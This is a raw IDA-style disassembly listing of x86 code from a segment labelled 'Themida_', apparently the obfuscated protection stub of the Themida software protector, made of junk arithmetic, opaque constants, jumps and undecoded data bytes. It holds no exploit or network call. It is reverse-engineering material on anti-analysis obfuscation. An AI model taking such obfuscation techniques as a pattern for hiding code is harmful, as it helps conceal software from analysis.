loc_5527E8:				; CODE XREF: Themida_:005527D3j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1

loc_5527F5:				; CODE XREF: Themida_:005527FCj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_5527F5

loc_5527FE:				; CODE XREF: Themida_:0055334Ej
					; Themida_:0055494Aj ...
		lodsb
		xor	al, bl
		push	ebx
		push	esp
		pop	ebx
		push	ecx
		mov	ecx, 5D805808h
		add	ecx, 164E14B4h
		not	ecx
		push	eax
		mov	eax, 0FFFFFFFFh
		sub	ecx, 4B906F84h
		add	ecx, eax
		add	ecx, 4B906F84h
		pop	eax
		dec	ecx
		jmp	loc_562065
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FA4AE9h, 0B0E95700h, 81000127h, 4ECh, 24348900h, 42474FFh
		dd 24048F5Eh, 0EF47E9h,	6E8C100h, 8C54E9h, 58C38800h, 6604EBC0h
		dd 46CAE951h, 14330001h, 0B6685C24h, 8900003Eh,	7DB3241Ch
		dd 763BE9h, 0FFF08900h,	835E2434h, 0C78104C4h, 631D6C5Dh
		dd 0EF81C729h, 631D6C5Dh, 0B3FEE9h, 4CFABF00h, 0D7F762C6h
		dd 35FDF781h, 0CF812ACBh, 201C205Ah, 0DFF78147h, 0E99767D8h
		dd 0F6F0h, 0A5B85051h, 4803125Bh, 4006E8C1h, 70DE8D2Dh
		dd 93C6B98Dh, 0C129D702h, 8124048Bh, 4C4h, 63E94100h, 5B00013Fh
		dd 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 0FF241489h, 5A042474h
		dd 8B24048Fh, 0C4832424h, 2DE06804h, 0C890000h,	265F6824h
		dd 0C1595B28h, 0E1C108E9h, 0B3E95508h, 540000D9h, 8124148Bh
		dd 4C4h, 4B85000h, 51000000h, 14AC0E9h
		db 0
; ---------------------------------------------------------------------------

loc_55292D:				; CODE XREF: Themida_:00565FB0j
		and	ecx, 131452AEh
		push	esi
		mov	esi, 90174C9h
		add	esi, 6AF0FC65h
		xor	ecx, esi
		pop	esi
		jmp	loc_564D87
; ---------------------------------------------------------------------------

loc_552947:				; CODE XREF: Themida_:0055BE6Fj
		mov	ebp, eax
		jmp	loc_563CDB
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 6B9A281Eh, 0FB5FC181h, 0BEE9883Ah
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55295F:				; CODE XREF: Themida_:005657B5j
		mov	edi, 200826D8h
		sub	ebx, edi
		pop	edi
		shr	ebx, 6
		push	ecx
		mov	ecx, 5DD84464h
		add	ebx, ecx
		jmp	loc_55997C
; ---------------------------------------------------------------------------
		db 5Ch
		dd 4A9FBA52h, 0EA813670h, 4EF010D6h, 39C5EA81h,	0D701E780h
		dd 0D747E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_552992:				; CODE XREF: Themida_:0055BA1Aj
		add	dword ptr [esp+4], 4F41212Bh
		jmp	loc_563A1D
; ---------------------------------------------------------------------------

loc_55299F:				; CODE XREF: Themida_:00563D90j
		push	dword ptr [esp]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_55C341
; ---------------------------------------------------------------------------

loc_5529B6:				; CODE XREF: Themida_:005613B7j
		xor	ebx, 925C0C5Ah
		mov	eax, ebx
		pop	ebx
		mov	edx, eax
		jmp	loc_5572E0
; ---------------------------------------------------------------------------
aSij		db '(×驦',0
		dd 240C3300h, 8124248Bh, 0CD002FC2h, 0E6BD554Fh, 29472B04h
		dd 0E9535DEAh, 5BA0h
; ---------------------------------------------------------------------------

loc_5529E8:				; CODE XREF: Themida_:005572B3j
		mov	edi, 0D247937h
		add	edi, 6D43C7B9h
		sub	ebp, 3FEE5547h
		sub	ebp, edi
		jmp	loc_55CA8B
; ---------------------------------------------------------------------------
		dd 0D8205966h, 81241C8Bh, 4C4h,	52636800h, 1C890000h, 4EC8124h
		dd 89000000h, 0C5E9243Ch
		db 0B1h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_552A23:				; CODE XREF: Themida_:00567248j
		push	ebx
		mov	ebx, 57860ACDh
		jmp	loc_560AB4
; ---------------------------------------------------------------------------
		dw 0E9B9h
		dd 81367327h, 782225C1h, 0AFF1817Eh, 57764065h,	0AB2FA5BFh
		dd 5FF931C2h, 1E9CB01h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_552A4F:				; CODE XREF: Themida_:005535BCj
		add	ebp, 6DC33BCh
		pop	esi
		push	edx
		jmp	loc_55B593
; ---------------------------------------------------------------------------
aS_7		db 'ÑêéÖ',7,0
		dw 100h
aZhri		db 'ÐZhi',0
		dw 8900h
		dd 0C0BB241Ch, 0E9743D7Bh, 13827h, 7B3298BEh, 8BF0892Eh
		dd 0C4812434h, 4, 4246C81h, 319D7959h, 4244429h, 4244481h
		dd 319D7959h, 24048B58h, 4EC81h, 34890000h, 495E924h, 89530001h
		dd 4C381E3h, 81000000h,	4EBh, 241C8700h, 241C895Ch, 542C7DB7h
		dd 5261B753h, 0D2F6CBB2h, 0E280C2FEh, 34C28002h, 285AD700h
		dd 241C8BF8h, 2C04C483h, 88B353AEh, 0DCD1E9h, 0B2E95A00h
		dd 0C100012Dh, 0F18108E1h, 7DEC2807h, 1169EE9h,	0AA04AC00h
		dd 77B55166h, 69A168h, 240C8900h, 53527BB1h, 48B15166h
		dd 5966CF88h, 4EC81h, 0C890000h, 88F98824h, 8AE959CEh
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_552B2F:				; CODE XREF: Themida_:0055C806j
		pop	esp
		jmp	loc_565499
; ---------------------------------------------------------------------------

loc_552B35:				; CODE XREF: Themida_:0055463Dj
		pop	esp
		jmp	loc_558B27
; ---------------------------------------------------------------------------
		db 81h
		dd 64F13EDh, 5DEA21D3h,	0E9A0E9h
		db 0
; ---------------------------------------------------------------------------

loc_552B49:				; CODE XREF: Themida_:005617DBj
		mov	[esp], esi
		mov	esi, 3472532Dh
		xchg	edx, esi
		sub	edx, 1
		xor	esi, edx
		jmp	loc_55D424
; ---------------------------------------------------------------------------
		dd 0D0286DB2h, 0F0285A66h, 0E95A6D04h, 8895h, 73E9D329h
		db 9, 1, 0
; ---------------------------------------------------------------------------

loc_552B77:				; CODE XREF: Themida_:005562A9j
		pop	ebx
		jmp	loc_55E46E
; ---------------------------------------------------------------------------

loc_552B7D:				; CODE XREF: Themida_:00561B47j
		sub	esi, edi
		pop	edi
		jmp	loc_558529
; ---------------------------------------------------------------------------

loc_552B85:				; CODE XREF: Themida_:00560D8Cj
		sub	al, 5Dh
		jmp	loc_562109
; ---------------------------------------------------------------------------
		dd 0EF1483B8h, 22E94865h, 1000119h, 240C8BC8h, 4CB3E956h
		db 1, 0
; ---------------------------------------------------------------------------

loc_552BA2:				; CODE XREF: Themida_:00552F45j
		jmp	loc_55710E
; ---------------------------------------------------------------------------
		db 81h
		dd 0F704246Ch, 29221750h, 8104244Ch, 0F7042444h, 0E9221750h
		dd 10C33h, 0E9DEF658h, 66F5h, 0C681E689h, 4, 4C681h, 0FF560000h
		dd 5E042474h, 0E924048Fh, 912Eh, 2155EA81h, 0EA813EE5h
		dd 641F4990h, 0E95AD389h, 11E36h
; ---------------------------------------------------------------------------

loc_552BF8:				; CODE XREF: Themida_:005666D8j
		push	ecx
		push	eax
		push	ecx
		mov	cl, 0FDh
		xor	cl, 6Dh
		shr	cl, 3
		shr	cl, 7
		push	eax
		jmp	loc_558CB7
; ---------------------------------------------------------------------------
		dd 34FFD701h, 24148B24h, 8904EC83h, 0E2892414h,	4C281h
		dd 0BB530000h, 4, 0ACE9DA01h, 0B2FFFFFCh, 8BD5283Eh, 89512414h
		dd 4C181E1h, 81000000h,	4C1h, 240C8700h, 0B8ED805Ch, 0C580E528h
		dd 3EC580B8h, 14179E9h,	24248B00h, 8649E9h
		db 0
; ---------------------------------------------------------------------------

loc_552C61:				; CODE XREF: Themida_:00553CD9j
		pop	edi
		jmp	loc_567057
; ---------------------------------------------------------------------------
		db 54h
		dd 11515E9h, 0D40500h, 685F3EC9h, 4BB2h, 0E9240C89h, 134Dh
; ---------------------------------------------------------------------------

loc_552C80:				; CODE XREF: Themida_:00563FCAj
		push	edx
		jmp	loc_554581
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 215923D8h, 97EBA52h,	0E95003E5h, 7A0Fh, 58E95D2Ch, 5E000034h
		dd 4C481h, 0EA810000h, 2B345100h, 0B0EAE9h, 0C8B6600h
		dd 3C3C6824h, 3C890000h, 53E78924h, 4BBh, 8BDF0100h, 0C483241Ch
		dd 4EC8304h, 0B8240489h, 76C20A5Eh, 2427725h, 30740D7Eh
		dd 35487119h, 228A5122h, 3502E8C1h, 33852D7Bh, 0BC3EB035h
		dd 11472578h, 0D8E96276h
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_552CFF:				; CODE XREF: Themida_:00564E44j
		pop	esi
		xor	edx, 478850C2h
		mov	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		xor	[esp+4], ecx
		pop	ecx
		mov	eax, [esp]
		push	ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_55C760
; ---------------------------------------------------------------------------
		db 51h,	68h, 2Eh
		dd 5968E31Ah, 14D9BE9h,	197CBB00h, 0DE298D45h, 0FFF0315Bh
		dd 34FF2434h, 0C4815E24h, 4, 81E18951h,	4C1h, 4C18300h
		dd 5C240C87h, 5FC268h, 243C8900h, 132BFE9h, 0C2B25200h
		dd 0F606E280h, 0E9CAFEDAh, 20C6h, 55328A68h, 6E9583Eh
		db 1Bh,	1, 0
; ---------------------------------------------------------------------------

loc_552D8B:				; CODE XREF: Themida_:0055E461j
		add	ebp, edx
		pop	edx
		jmp	loc_55EB1A
; ---------------------------------------------------------------------------
		db 66h
		dd 51240C8Bh, 14C568h, 0DAE95400h, 5000003Fh, 0D534E9h
		dd 240C3300h, 0BB0F665Ch, 0E99C2404h, 0FFFFFA46h, 1C8BD801h
		dd 4C48124h, 5000000h, 196F0C46h, 462DD829h, 83196F0Ch
		dd 148904ECh, 4D86BA24h, 1E9329Fh, 0BE00007Bh, 5924801h
		dd 6E45E9h, 3EAC000h, 0EA80DAF6h, 7FB05044h, 404E8C0h
		dd 0E95166A8h, 3A77h, 241C8966h, 14C768h, 6A4E900h
		db 1, 0
; ---------------------------------------------------------------------------

loc_552E0E:				; CODE XREF: Themida_:00560E7Fj
		add	ebx, 25243A9h
		xor	ebx, 3323423Fh
		jmp	loc_565B5F
; ---------------------------------------------------------------------------

loc_552E1F:				; CODE XREF: Themida_:00553299j
		push	ebx
		mov	bl, 0D9h
		dec	bl
		not	bl
		shr	bl, 6
		push	dx
		mov	dl, 61h
		add	bl, dl
		pop	dx
		xor	bl, 3Eh
		push	edx
		jmp	loc_559B28
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 13BD6D76h, 44BEE95Bh, 0C4830001h, 0C0C78104h, 12A8472h
		dd 0C0EF81CFh, 812A8472h, 7C55ECEFh, 0B60F597Fh, 8734FFC0h
		dd 4EC81h, 34890000h, 7738BE24h, 0E9537691h, 0F6D4h, 0E9242489h
		dd 6DD4h, 33241C31h, 248B241Ch,	25216824h, 6E90000h, 8B000124h
		dd 48F2424h, 24248B24h,	0C8B60F66h, 4EC8151h, 0E9000000h
		dd 0C7A3h, 8904EC83h, 3C682414h, 89000041h, 0BB53240Ch
		dd 9F15422h, 2933F381h,	0C38147C9h, 235C06C0h, 1DC38143h
		dd 89A7F6B6h, 0BF575BD9h, 50925D5Ah, 815FF901h,	7E4B90C1h
		dd 4735684Eh, 0C890000h, 6A23E924h, 0E9510000h,	0F12Bh
		dd 515DEB01h, 7F5801B9h, 76AFE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_552F06:				; CODE XREF: Themida_:005629AAj
		xchg	ecx, [esp]
		pop	ecx
		sub	ecx, 0EF645EF2h
		sub	eax, 42E23115h
		sub	eax, ecx
		add	eax, 42E23115h
		pop	ecx
		add	eax, 168667F5h
		sub	eax, ebp
		sub	eax, 168667F5h
		add	eax, 0A654383h
		pop	ebp
		add	eax, edi
		add	eax, 71204B9Eh
		xor	dword ptr [eax], 51052637h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_552BA2
; ---------------------------------------------------------------------------

loc_552F4A:				; CODE XREF: Themida_:0055959Aj
		not	ebp
		jmp	loc_55479E
; ---------------------------------------------------------------------------
		db 0B9h, 0Dh, 7
		dd 0EB811CF7h, 4DD1298Dh, 0C381CB01h, 4DD1298Dh, 0E9FB0159h
		dd 13EDDh, 525CE581h, 0E5C15511h, 0FFC58305h, 7266ED81h
		dd 0E5C13169h, 0EFF58103h, 29235CF6h, 2EA9E9E9h, 0FD290000h
		dd 0A0C5815Fh, 687E2AC9h, 64B3h, 0BD242C89h, 140D07EBh
		dd 11B0C781h, 0EF290CB2h, 11B0EF81h, 505D0CB2h,	0C24AB3B8h
		dd 9148E97Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_552FBE:				; CODE XREF: Themida_:0055390Aj
		xor	ebx, 73022F52h
		sub	ebx, 25D46F50h
		add	ebx, 0E8CF4388h
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5658DB
; ---------------------------------------------------------------------------
		db 64h,	66h, 8Bh
		dd 0B2686602h, 489663Fh, 0F810E924h, 1068FFFFh,	5936922Dh
		dd 23E7F181h, 0E9816E24h, 0EF4ADAB4h, 0E959C889h, 61CFh
		dd 89241C89h, 0E9D889F3h, 0C685h, 9683DBAh, 1E7EE974h
		db 1, 0
; ---------------------------------------------------------------------------

loc_55301E:				; CODE XREF: Themida_:0055F601j
		add	dword ptr [esp+4], 38FC15C4h
		jmp	loc_5615F7
; ---------------------------------------------------------------------------
		db 66h
		dd 2261E958h, 665B0001h, 0E9240C8Bh, 12BD9h
; ---------------------------------------------------------------------------

loc_55303C:				; CODE XREF: Themida_:0055E5B9j
		add	ebx, 4
		jmp	loc_554FDC
; ---------------------------------------------------------------------------
		db 81h
		dd 807000C3h, 0F9E95976h
		db 19h,	1, 0
; ---------------------------------------------------------------------------

loc_553053:				; CODE XREF: Themida_:00558181j
		push	ecx
		mov	ecx, 7C66316Dh
		xor	ecx, 6D033F7Ch
		jmp	loc_566341
; ---------------------------------------------------------------------------
		dd 5A2434FFh, 0E2895251h, 4C281h, 0EA810000h, 4, 14085E9h
		dd 248B6600h, 0F778E924h, 0D387FFFFh, 80EEE9h
		db 0
; ---------------------------------------------------------------------------

loc_55308D:				; CODE XREF: Themida_:0055D0CEj
		pop	esp
		mov	[esp], edx
		mov	edx, 10h
		jmp	loc_565D46
; ---------------------------------------------------------------------------

loc_55309B:				; CODE XREF: Themida_:0055956Fj
		jz	loc_55F1EB
		push	dword ptr [edi+1Ch]
		jmp	loc_566115
; ---------------------------------------------------------------------------
		db 81h,	0CFh, 4Eh
		dd 8176EE7Ch, 0F44F85F7h, 6DC78154h, 164F7E5h, 0F5015FFEh
		dd 0FCF5815Eh, 817FD5C5h, 592C1DEAh, 0A5C28171h, 0E9155E0Ah
		dd 705Ch
; ---------------------------------------------------------------------------

loc_5530D8:				; CODE XREF: Themida_:00564821j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_563CC6
; ---------------------------------------------------------------------------

loc_5530F8:				; CODE XREF: Themida_:005632D6j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		jmp	loc_559025
; ---------------------------------------------------------------------------
		db 0B3h, 16h, 28h
		dd 285B66DCh, 16C480FCh, 1CE4805Bh, 0B4505166h,	31B1F6h
		dd 0CC0858E1h, 0C4805966h, 0CEE952C2h, 8B0000FDh, 0C7E92424h
		dd 29FFFFF6h, 2434FFD8h, 83241C8Bh, 0C48304C4h,	4D3DE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55314A:				; CODE XREF: Themida_:00567593j
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_557103
; ---------------------------------------------------------------------------
		db 0B9h, 44h, 17h
		dd 88E91E15h, 53FFFFF9h, 0F38075B3h, 0ECE8E95Fh, 14890000h
		dd 0F668B624h, 885066D6h, 88F188C8h, 48B66C6h, 7B35E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55318E:				; CODE XREF: Themida_:0055D41Fj
		add	esp, 4
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_5657C0
; ---------------------------------------------------------------------------
		dd 50243489h, 25CEBB8h,	46602D26h, 0C0D2230h, 0D197504h
		dd 7C1B7346h, 0FD6ADF2Dh, 0F3140544h, 0C689C4FDh, 8124048Bh
		dd 4C4h, 24740100h, 34FF5E04h, 0C4835F24h, 5F545704h, 4C781h
		dd 0EF830000h, 931E904h, 0CF010000h, 5E87C781h,	0C8B7DABh
		dd 0E0895024h, 405h, 4C08300h, 5C240487h, 31243C33h, 0FCE9243Ch
		dd 5F000090h, 26E968h, 24048900h, 0B9E9D088h, 8B00007Eh
		dd 0EE92434h, 29000000h, 0EF8158C1h, 7DAB5E87h,	0FFFFB5E9h
		dd 4C483FFh, 0C661E9h, 0F2F28100h, 1236FEEh, 2434FFD7h
		dd 4D0E95Ah, 525C0001h,	0B9A3E9h, 24148900h, 128E3E9h
		dd 4EC8100h, 89000000h,	63E92404h, 810000CCh, 4C3h, 4B95100h
		dd 1000000h, 1C8759CBh,	0B71E924h, 4BE0001h, 53000000h
		dd 542B0ABBh, 0E9D38709h, 2056h
; ---------------------------------------------------------------------------

loc_553290:				; CODE XREF: Themida_:00557F67j
		add	esp, 4
		add	bl, al
		push	eax
		jmp	loc_552E1F
; ---------------------------------------------------------------------------
		dw 1C89h
aIuhse		db '$‰ãhéE',0
		align 4
		dd 0B9240C89h, 4, 2681BE56h, 0EE877245h, 0EE87D5F7h, 0F681DEF7h
		dd 4A8666A5h, 0E907E6C1h, 289Ah, 582404FFh, 0AAD1E9h, 2434FF00h
		dd 0E924048Bh, 0B800h, 24BF57h,	51570000h, 0C96B6EB9h
		dd 244C3140h, 81595904h, 0C96B6EF1h, 88685F40h,	89000041h
		dd 0BE56240Ch, 30544357h, 4247401h, 4591E9h
		db 0
; ---------------------------------------------------------------------------

loc_553311:				; CODE XREF: Themida_:00562E7Aj
		xor	edx, 0F003B6Bh
		jmp	loc_56326E
; ---------------------------------------------------------------------------

loc_55331C:				; CODE XREF: Themida_:0055EC98j
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 5A1335ADh
		sub	eax, 5A1335A9h
		sub	ebp, 7965778Fh
		add	ebp, eax
		jmp	loc_563438
; ---------------------------------------------------------------------------

loc_55333A:				; CODE XREF: Themida_:005579DAj
		pop	esi
		add	ecx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_5527FE
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0E9F0EB80h, 0F1BFh, 0FFF49DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553361:				; CODE XREF: Themida_:0055C845j
		and	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		inc	ecx
		sub	ecx, 3D38253Dh
		push	4C19h
		mov	[esp], edx
		jmp	loc_557B94
; ---------------------------------------------------------------------------
aXsc		db '!ÇXé—{',0
		align 4

loc_553388:				; CODE XREF: Themida_:0055EF7Fj
		mov	edx, 75AE77C4h
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_565B7C
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 4Fh
		dd 8126347Eh, 3A2716F7h, 0C5E94F01h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5533AF:				; CODE XREF: Themida_:00553963j
		pop	esp
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_559340
; ---------------------------------------------------------------------------
		db 5
		dd 31041F55h, 552DD029h, 5A31041Fh, 0C158C289h,	0B85008E2h
		dd 4D0D1BCCh, 47B9BF57h, 0F82126F7h, 0BC05405Fh, 0F7650C1Dh
		dd 0F52D40D8h, 17E2ABAh, 0CDF5E9C2h, 0E6810000h, 29EC5B98h
		dd 48EFEE81h, 0D6F7755Eh, 0D9E9DEF7h, 81000076h, 4C4h
		dd 3920E900h, 0E9500000h, 2C53h, 68242C89h, 0D545850h
		dd 45CAE95Dh
		db 1, 0
; ---------------------------------------------------------------------------

loc_553426:				; CODE XREF: Themida_:005575F7j
		xor	ebp, 0FC9C9CA1h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_55CBBB
; ---------------------------------------------------------------------------
		dd 6A9FBF57h, 5DE90CDCh
		db 0E1h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55343F:				; CODE XREF: Themida_:0055596Bj
		push	edx
		mov	edx, 4
		jmp	loc_55480E
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 4BB53h, 0DE010000h, 429DE95Bh
		db 1, 0
; ---------------------------------------------------------------------------

loc_55345E:				; CODE XREF: Themida_:0055A32Aj
		inc	al
		push	1C0Fh
		jmp	loc_565A70
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 635729FCh, 0E6363305h, 500A2D12h, 0C8296881h, 81500A05h
		dd 10F1E968h, 14B70000h, 7AE95366h, 81FFFFFCh, 4C4h, 24048F00h
		dd 0FF24248Bh, 0C8B2434h, 0E6895624h, 4C681h, 0C6830000h
		dd 24348704h, 0FFFD95E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5534B5:				; CODE XREF: Themida_:00554835j
		pop	edx
		mov	bl, al
		mov	eax, [esp]
		add	esp, 4
		pop	ecx
		jmp	loc_561774
; ---------------------------------------------------------------------------
		db 1
		dd 2C875BDDh, 24248B24h, 406DBE56h, 0F68104D3h,	4FC132DBh
		dd 3DFDE955h, 0DFF70001h, 4ACFBE56h, 0E95268B8h, 0F011h
; ---------------------------------------------------------------------------

loc_5534F0:				; CODE XREF: Themida_:00563CEEj
		push	ecx
		jmp	loc_562A08
; ---------------------------------------------------------------------------
		dw 5A5Bh
		dd 4C281h, 0EA810000h, 4, 873FE952h, 4BF0000h, 891ED965h
		dd 5CE95FFDh, 5C0000F6h, 17BBA52h, 0E281319Bh, 157274C2h
		dd 6419E281h, 0BD55143Ah, 0EFEE0004h, 1AB6EA81h, 0EA016271h
		dd 1AB6C281h, 295D6271h, 2C875AD5h, 0C895C24h, 6199B924h
		dd 0C9810DB2h, 47AE30DBh, 8149D1F7h, 0D55BA3E1h, 0B1C18141h
		dd 5526E574h, 412511BDh, 5DE82967h, 0BD55C829h,	2DF03603h
		dd 0E905E5C1h, 12C64h, 0B850E789h, 4, 98E9C701h, 5B000026h
		dd 2871BD55h, 0F58170C5h, 4CC05D3Eh, 70EDE9h
		db 0
; ---------------------------------------------------------------------------

loc_55359D:				; CODE XREF: Themida_:0055E04Aj
		pop	ebp
		jmp	loc_559FE9
; ---------------------------------------------------------------------------
aH@SSB		db 'H@',0Dh,'‘$',9,'&鵡',0
		dw 3100h
		dd 14332414h, 0DA05E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5535BA:				; CODE XREF: Themida_:005554F9j
		add	ebp, esi
		jmp	loc_552A4F
; ---------------------------------------------------------------------------
		db 58h,	57h, 0BFh
		dd 21E930E9h, 3DD5EF81h, 0DFF73593h, 43F7814Fh,	0C17DE576h
		dd 0EF8105EFh, 0E4877D1Fh, 523CE9h
		db 0
; ---------------------------------------------------------------------------

loc_5535E5:				; CODE XREF: Themida_:00567580j
		sub	eax, 51EF5FFBh
		jmp	loc_563311
; ---------------------------------------------------------------------------

loc_5535EF:				; CODE XREF: Themida_:0055BD9Aj
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_561462
; ---------------------------------------------------------------------------
		dd 4E9815Fh, 87000000h,	0E3E9240Ch, 2D000064h, 4AE15C83h
		dd 8324348Bh, 780504C4h, 0E937AA0Bh, 9318h
; ---------------------------------------------------------------------------

loc_553628:				; CODE XREF: Themida_:00555F26j
		push	ecx
		mov	ecx, 36BC13D1h
		add	ecx, 46F34967h
		jmp	loc_55C2B2
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 83000000h, 2FE902C3h, 810000FEh, 4C4h, 0AE95700h, 81000092h
		dd 0EB3326EAh, 0C2815830h, 382F7B77h, 6E31C281h, 0EA017BBCh
		dd 6E31EA81h, 0EA817BBCh, 382F7B77h, 8904EC83h,	7AB82404h
		dd 50A8C1Ch, 201D0ACEh,	3506E0C1h, 0F96CD09Dh, 3DE9C201h
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_553693:				; CODE XREF: Themida_:0055AAB4j
		sub	edx, 10BF677Eh
		jmp	loc_554532
; ---------------------------------------------------------------------------
aFyaQsei	db 'fY€Ãqé¥I',0
		align 4
		dd 2563BB53h, 0C38120CFh, 1B2714C4h, 0FFF5CDE9h, 92E95DFFh
		dd 0F70000AAh, 0AA64E9DBh, 0F2810000h, 0CD29484Eh, 0E95AD531h
		dd 177h, 405E089h, 0E9000000h, 2EB5h, 54241489h, 5624148Bh
		dd 0EE9E689h, 8100004Dh, 4CD515F1h, 3CECE9F4h
		db 1, 0
; ---------------------------------------------------------------------------

loc_5536FA:				; CODE XREF: Themida_:0055D385j
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_558337
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 5C243C87h, 79CFC581h, 89522D69h, 5AD689EAh, 24148B5Dh
		dd 0E904C483h, 12767h, 1C8BDF29h, 4C48124h, 59000000h
		dd 0FFF5D8E9h, 0EC81ACFFh, 4, 0B7241C89h, 7EFC0FAh, 2CC2F780h
		dd 2B0AE981h, 0BE560000h, 617163DCh, 8905E951h,	0E9570000h
		dd 258Ah
; ---------------------------------------------------------------------------

loc_553784:				; CODE XREF: Themida_:00565B6Dj
		add	edx, 7AC4225Ch
		sub	edx, edi
		sub	edx, 7AC4225Ch
		mov	edi, edx
		pop	edx
		add	edi, 0FBB5DF04h
		add	ecx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	edi
		mov	edi, 4
		jmp	loc_55CF69
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 242B5BF2h, 0C281DAF7h, 10D440A2h, 6B73C281h,	0C2812A31h
		dd 0FBCE3A8h, 835AD389h, 348904ECh, 0E242E924h,	0D3F70000h
		dd 0F681DE87h, 0FCFC23EDh, 8BE9F501h
		db 33h,	1, 0
; ---------------------------------------------------------------------------

loc_5537EB:				; CODE XREF: Themida_:0055F8BBj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	dx, cx
		mov	si, dx
		pop	edx
		mov	ecx, [esp]
		push	0A5Dh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_55BC9D
; ---------------------------------------------------------------------------
		dd 2705685Ah, 3C890000h, 254ABF24h, 0EF813EF9h,	0FFFFFFFFh
		dd 3001E9h, 40942D00h, 0BA527898h, 9E30865h, 0EAE9D001h
		dd 8100003Ah, 4CA91FC5h, 0F6A2E9EFh, 1C87FFFFh,	0A0D5C24h
		dd 5397925h, 12D701E3h,	0C102E0C1h, 514007E0h, 6911E9h
		db 0
; ---------------------------------------------------------------------------

loc_553871:				; CODE XREF: Themida_:00561BB8j
		pop	esi
		jmp	loc_5605DB
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 2414D259h, 0EF78E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553886:				; CODE XREF: Themida_:00554BC8j
		mov	esp, [esp]
		push	39D6h
		mov	[esp], ebx
		mov	ebx, esp
		push	eax
		push	ecx
		mov	ecx, 2D407DC0h
		xor	ecx, 4E88740Ch
		shr	ecx, 5
		jmp	loc_559482
; ---------------------------------------------------------------------------
		dd 21FDE95Bh, 53580001h, 468h, 0D9295B00h, 240C335Bh, 33240C31h
		dd 248B240Ch, 241C8924h, 915F0EBBh, 0CEC6812Dh,	174AE37h
		dd 0B7E955DEh, 8700003Eh, 33E92434h, 5100002Fh,	895216B1h
		dd 4C281E2h, 0E9000000h, 0D9EAh
; ---------------------------------------------------------------------------

loc_5538F4:				; CODE XREF: Themida_:00561568j
		mov	edx, 243C9550h
		push	7A63h
		mov	[esp], ebx
		mov	ebx, 2FBA786Bh
		inc	ebx
		dec	ebx
		not	ebx
		jmp	loc_552FBE
; ---------------------------------------------------------------------------
		db 81h
		dd 5C4201C3h, 2EA16822h, 14890000h, 14D3BA24h, 0EA81422Fh
		dd 708325E1h, 8107EAC1h, 0BE5766EAh, 5E2C120h, 5004EAC1h
		dd 9A2A3DB8h, 53A10526h, 0C231DD72h, 0C012E9h, 6DE95800h
		dd 81000048h, 0D413B6CFh, 0C120E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55395A:				; CODE XREF: Themida_:0056451Ej
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_5533AF
; ---------------------------------------------------------------------------

